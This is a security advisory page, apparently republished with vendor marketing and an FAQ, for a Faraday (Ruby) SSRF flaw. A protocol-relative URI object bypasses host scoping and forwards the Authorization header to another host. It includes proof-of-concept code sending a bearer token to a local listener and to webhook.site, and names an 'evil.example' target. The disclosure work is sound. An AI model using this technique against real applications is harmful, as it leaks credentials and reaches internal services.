Summary
Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping
Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.
Affected Component
- Repository File(s)/Endpoint(s):
lib/faraday/connection.rblib/faraday/request.rbspec/faraday/connection_spec.rbspec/faraday/request_spec.rb
- Function(s):
Faraday::Connection#build_exclusive_urlFaraday::Connection#run_requestFaraday::Request#urlFaraday::Request#to_env
- Version(s) Tested:
Faraday 2.14.1- repository HEAD
a01039c948d3e9e41e03d152aed7244f0fb4d5ca
Attacker Profile
- Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
- Access Required: Ability to supply data that the application converts to
URI.parse(...)and passes toconn.get(...),[conn.post](http://conn.post/)(...), orreq.url(...) - Capability: Control over a protocol-relative URI such as
URI("//evil.example/pwn")
Steps to Reproduce
- Use the current repository checkout and load Faraday from
lib/. - Build a fixed-base connection and provide a protocol-relative
URIobject toreq.url. - Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
- Observe that the connection-scoped
Authorizationheader remains attached to the off-host request.
Verification Evidence
- Environment: macOS, Ruby from local environment, Faraday
2.14.1,faraday-net_http, local WEBrick listener on127.0.0.1:4567, HEADa01039c948d3e9e41e03d152aed7244f0fb4d5ca - Commands executed:
$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'
- PoC code (inline):
require "faraday"
require "faraday/net_http"
conn = Faraday.new(url: "http://trusted.example/base", headers: {
"Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }
target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))
puts resp.status
puts resp.body
- Exit code:
0 - stdout (relevant excerpt):
200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn
- stderr (relevant excerpt):
N/A
- Artifacts: none
Additional External Confirmation
The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:
require "faraday"
require "faraday/net_http"
conn = Faraday.new(
url: "http://trusted.example/base",
headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }
target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"
This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.
Supporting Materials
- Existing advisory for the original string-based issue:
GHSA-33mh-2634-fwr2 - Existing CVE for the original string-based issue:
CVE-2026-25765 - Existing regression tests for the string-only fix:
spec/faraday/connection_spec.rb:314-345
- Existing test proving supported
URIrequest input:spec/faraday/request_spec.rb:26-31
Impact
The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the
connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-33637? CVE-2026-33637 is a low-severity server-side request forgery (SSRF) vulnerability in faraday (rubygems), affecting versions >= 2.0.0, <= 2.14.1. It is fixed in 2.14.2. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- Which versions of faraday are affected by CVE-2026-33637? faraday (rubygems) versions >= 2.0.0, <= 2.14.1 is affected.
- Is there a fix for CVE-2026-33637? Yes. CVE-2026-33637 is fixed in 2.14.2. Upgrade to this version or later.
- Is CVE-2026-33637 exploitable, and should I be worried? Whether CVE-2026-33637 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-33637 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-33637? Upgrade
faradayto 2.14.2 or later.